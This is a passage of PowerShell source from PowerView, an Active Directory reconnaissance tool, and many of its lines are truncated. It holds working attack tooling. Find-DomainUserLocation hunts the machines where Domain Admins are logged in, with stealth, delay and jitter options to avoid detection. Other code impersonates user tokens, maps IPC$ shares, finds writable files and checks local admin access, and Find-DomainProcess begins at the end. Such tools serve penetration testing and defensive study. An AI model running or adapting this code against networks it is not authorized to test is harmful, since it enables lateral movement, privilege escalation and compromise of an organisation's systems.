# find .exe's accessed within the last 7 days
$LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')
$SearcherArguments['Include'] = @('*.exe')
}
$SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden']
$MappedComputers = @{}
function Test-Write {
# short helper to check is the current user can write to a file
[CmdletBinding()]Param([String]$Path)
try {
$Filetest = [IO.File]::OpenWrite($Path)
$Filetest.Close()
$True
}
catch {
$False
}
}
}
PROCESS {
ForEach ($TargetPath in $Path) {
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$HostComputer = (New-Object System.Uri($TargetPath)).Host
if (-not $MappedComputers[$HostComputer]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
$MappedComputers[$HostComputer] = $True
}
}
$SearcherArguments['Path'] = $TargetPath
Get-ChildItem @SearcherArguments | ForEach-Object {
# check if we're excluding folders
$Continue = $True
if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) {
Write-Verbose "Excluding: $($_.FullName)"
$Continue = $False
}
if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) {
$Continue = $False
}
if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) {
$Continue = $False
}
if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) {
$Continue = $False
}
if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) {
$Continue = $False
}
if ($Continue) {
$FileParams = @{
'Path' = $_.FullName
'Owner' = $((Get-Acl $_.FullName).Owner)
'LastAccessTime' = $_.LastAccessTime
'LastWriteTime' = $_.LastWriteTime
'CreationTime' = $_.CreationTime
'Length' = $_.Length
}
$FoundFile = New-Object -TypeName PSObject -Property $FileParams
$FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile')
$FoundFile
}
}
}
}
END {
# remove the IPC$ mappings
$MappedComputers.Keys | Remove-RemoteConnection
}
}
########################################################
#
# 'Meta'-functions start below
#
########################################################
function New-ThreadedFunction {
# Helper used by any threaded host enumeration functions
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunc
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPr
[String[]]
$ComputerName,
[Parameter(Position = 1, Mandatory = $True)]
[System.Management.Automation.ScriptBlock]
$ScriptBlock,
[Parameter(Position = 2)]
[Hashtable]
$ScriptParameters,
[Int]
[ValidateRange(1, 100)]
$Threads = 20,
[Switch]
$NoImports
)
BEGIN {
# Adapted from:
# http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/
$SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault
# # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentSta
# force a single-threaded apartment state (for token-impersonation stuffz)
$SessionState.ApartmentState = [System.Threading.ApartmentState]::STA
# import the current session state's variables and functions so the chained PowerView
# functionality can be used by the threaded blocks
if (-not $NoImports) {
# grab all the current variables for this runspace
$MyVars = Get-Variable -Scope 2
# these Variables are added by Runspace.Open() Method and produce Stop errors if you add th
$VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host
# add Variables from Parent Scope (current runspace) into the InitialSessionState
ForEach ($Var in $MyVars) {
if ($VorbiddenVars -NotContains $Var.Name) {
$SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Run
}
}
# add Functions from current runspace to the InitialSessionState
ForEach ($Function in (Get-ChildItem Function:)) {
$SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.R
}
}
# threading adapted from
# https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407
# Thanks Carlos!
# create a pool of maxThread runspaces
$Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
$Pool.Open()
# do some trickery to get the proper BeginInvoke() method that allows for an output queue
$Method = $Null
ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) {
$MethodParameters = $M.GetParameters()
if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $Metho
$Method = $M.MakeGenericMethod([Object], [Object])
break
}
}
$Jobs = @()
$ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()}
Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)"
# partition all hosts from -ComputerName into $Threads number of groups
if ($Threads -ge $ComputerName.Length) {
$Threads = $ComputerName.Length
}
$ElementSplitSize = [Int]($ComputerName.Length/$Threads)
$ComputerNamePartitioned = @()
$Start = 0
$End = $ElementSplitSize
for($i = 1; $i -le $Threads; $i++) {
$List = New-Object System.Collections.ArrayList
if ($i -eq $Threads) {
$End = $ComputerName.Length
}
$List.AddRange($ComputerName[$Start..($End-1)])
$Start += $ElementSplitSize
$End += $ElementSplitSize
$ComputerNamePartitioned += @(,@($List.ToArray()))
}
Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads"
ForEach ($ComputerNamePartition in $ComputerNamePartitioned) {
# create a "powershell pipeline runner"
$PowerShell = [PowerShell]::Create()
$PowerShell.runspacepool = $Pool
# add the script block + arguments with the given computer partition
$Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerName
if ($ScriptParameters) {
ForEach ($Param in $ScriptParameters.GetEnumerator()) {
$Null = $PowerShell.AddParameter($Param.Name, $Param.Value)
}
}
# create the output queue
$Output = New-Object Management.Automation.PSDataCollection[Object]
# kick off execution using the BeginInvok() method that allows queues
$Jobs += @{
PS = $PowerShell
Output = $Output
Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection
}
}
}
END {
Write-Verbose "[New-ThreadedFunction] Threads executing"
# continuously loop through each job queue, consuming output as appropriate
Do {
ForEach ($Job in $Jobs) {
$Job.Output.ReadAll()
}
Start-Sleep -Seconds 1
}
While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0)
$SleepSeconds = 100
Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..."
# cleanup- make sure we didn't miss anything
for ($i=0; $i -lt $SleepSeconds; $i++) {
ForEach ($Job in $Jobs) {
$Job.Output.ReadAll()
$Job.PS.Dispose()
}
Start-Sleep -S 1
}
$Pool.Dispose()
Write-Verbose "[New-ThreadedFunction] all threads completed"
}
}
function Find-DomainUserLocation {
<#
.SYNOPSIS
Finds domain machines where specific users are logged into.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-Do
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon
The found user list is compared against the target list, and any matches are
displayed. If -ShowAll is specified, all results are displayed instead of
the filtered set. If -Stealth is specified, then likely highly-trafficed servers
are enumerated with Get-DomainFileServer/Get-DomainController, and session
enumeration is executed only against those servers. If -Credential is passed,
then Invoke-UserImpersonation is used to impersonate the specified user
before enumeration, reverting after with Invoke-RevertToSelf.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER Domain
Specifies the domain to query for computers AND users, defaults to the current domain.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerUnconstrained
Switch. Search computer objects that have unconstrained delegation.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER UserAllowDelegation
Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'.
.PARAMETER CheckAccess
Switch. Check if the current user has local admin access to computers where target users are found.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER ShowAll
Switch. Return all user location results instead of filtering based on target
specifications.
.PARAMETER Stealth
Switch. Only enumerate sessions from connonly used target servers.
.PARAMETER StealthSource
The source of target servers to use, 'DFS' (distributed file servers),
'DC' (domain controllers), 'File' (file servers), or 'All' (the default).
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainUserLocation
Searches for 'Domain Admins' by enumerating every computer in the domain.
.EXAMPLE
Find-DomainUserLocation -Stealth -ShowAll
Enumerates likely highly-trafficked servers, performs just session enumeration
against each, and outputs all results.
.EXAMPLE
Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.te
Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged
users in dev.testlab.local.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Find-DomainUserLocation -Domain testlab.local -Credential $Cred
Searches for domain admin locations in the testlab.local using the specified alternate credentials.
.OUTPUTS
PowerView.UserLocation
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.UserLocation')]
[CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[Alias('Unconstrained')]
[Switch]
$ComputerUnconstrained,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ParameterSetName = 'UserIdentity')]
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[Parameter(ParameterSetName = 'UserGroupIdentity')]
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[Alias('AllowDelegation')]
[Switch]
$UserAllowDelegation,
[Switch]
$CheckAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Parameter(ParameterSetName = 'ShowAll')]
[Switch]
$ShowAll,
[Switch]
$Stealth,
[String]
[ValidateSet('DFS', 'DC', 'File', 'All')]
$StealthSource = 'All',
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $Comp
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase']
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $U
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['Operatin
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $S
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $Sea
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] =
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] =
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombsto
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDA
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSe
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserA
if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] =
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchS
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $Res
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $Ser
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
$TargetComputers = @()
# first, build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = @($ComputerName)
}
else {
if ($PSBoundParameters['Stealth']) {
Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSourc
$TargetComputerArrayList = New-Object System.Collections.ArrayList
if ($StealthSource -match 'File|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for file servers'
$FileServerSearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain
if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] =
if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['Searc
if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'
if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPage
if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTime
if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $T
if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Cr
$FileServers = Get-DomainFileServer @FileServerSearcherArguments
if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) }
$TargetComputerArrayList.AddRange( $FileServers )
}
if ($StealthSource -match 'DFS|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers'
# # TODO: fix the passed parameters to Get-DomainDFSShare
# $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainControlle
}
if ($StealthSource -match 'DC|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers'
$DCSearcherArguments = @{
'LDAP' = $True
}
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $Com
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credentia
$DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -Ex
if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControlle
$TargetComputerArrayList.AddRange( $DomainControllers )
}
$TargetComputers = $TargetComputerArrayList.ToArray()
}
else {
Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -
}
}
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainUserLocation] No hosts found to enumerate'
}
# get the current user so we can ignore it in the results
if ($PSBoundParameters['Credential']) {
$CurrentUser = $Credential.GetNetworkCredential().UserName
}
else {
$CurrentUser = ([Environment]::UserName).ToLower()
}
# now build the user target set
if ($PSBoundParameters['ShowAll']) {
$TargetUsers = @()
}
elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBo
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty s
}
else {
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $Us
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $Sear
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombston
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -Expan
}
Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)"
if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) {
throw '[Find-DomainUserLocation] No users found to target'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle)
if ($TokenHandle) {
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$Sessions = Get-NetSession -ComputerName $TargetComputer
ForEach ($Session in $Sessions) {
$UserName = $Session.UserName
$CName = $Session.CName
if ($CName -and $CName.StartsWith('\\')) {
$CName = $CName.TrimStart('\')
}
# make sure we have a result, and ignore computer$ sessions
if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentU
if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) {
$UserLocation = New-Object PSObject
$UserLocation | Add-Member Noteproperty 'UserDomain' $Null
$UserLocation | Add-Member Noteproperty 'UserName' $UserName
$UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
$UserLocation | Add-Member Noteproperty 'SessionFrom' $CName
# try to resolve the DNS hostname of $Cname
try {
$CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object
$UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSNa
}
catch {
$UserLocation | Add-Member NoteProperty 'SessionFromName' $Null
}
# see if we're checking to see if we have local admin access on this machine
if ($CheckAccess) {
$Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
}
else {
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
}
$UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
$UserLocation
}
}
}
if (-not $Stealth) {
# if we're not 'stealthy', enumerate loggedon users as well
$LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer
ForEach ($User in $LoggedOn) {
$UserName = $User.UserName
$UserDomain = $User.LogonDomain
# make sure wet have a result
if (($UserName) -and ($UserName.trim() -ne '')) {
if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName
$IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAd
$UserLocation = New-Object PSObject
$UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain
$UserLocation | Add-Member Noteproperty 'UserName' $UserName
$UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
$UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress
$UserLocation | Add-Member Noteproperty 'SessionFrom' $Null
$UserLocation | Add-Member Noteproperty 'SessionFromName' $Null
# see if we're checking to see if we have local admin access on this machine
if ($CheckAccess) {
$Admin = Test-AdminAccess -ComputerName $TargetComputer
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
}
else {
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
}
$UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
$UserLocation
}
}
}
}
}
}
if ($TokenHandle) {
Invoke-RevertToSelf
}
}
$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($T
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUs
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainUserLocation] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads"
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Leng
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'TargetUsers' = $TargetUsers
'CurrentUser' = $CurrentUser
'Stealth' = $Stealth
'TokenHandle' = $LogonToken
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostE
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -Scr
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Find-DomainProcess {
<#
.SYNOPSIS
Searches for processes on the domain using WMI, returning processes
that match a particular user specification or process name.
Thanks to @paulbrandau for the approach idea.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WM
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
function enumerates any current processes running with Get-WMIProcess,
searching for processes running under any target user contexts or with the
specified -ProcessName. If -Credential is passed, it is passed through to
the underlying WMI commands used to enumerate the remote machines.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER Domain
Specifies the domain to query for computers AND users, defaults to the current domain.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerUnconstrained
Switch. Search computer objects that have unconstrained delegation.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER ProcessName
Search for processes with one or more specific names.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainProcess
Searches for processes run by 'Domain Admins' by enumerating every computer in the domain.
.EXAMPLE
Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.
Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by
privileged users in dev.testlab.local.
.EXAMPLE
Find-DomainProcess -ProcessName putty.exe
Searchings for instances of putty.exe running on the current domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Find-DomainProcess -Domain testlab.local -Credential $Cred
Searches processes being run by 'domain admins' in the testlab.local using the specified alternate cred
.OUTPUTS
PowerView.UserProcess
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[OutputType('PowerView.UserProcess')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[Alias('Unconstrained')]
[Switch]
$ComputerUnconstrained,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
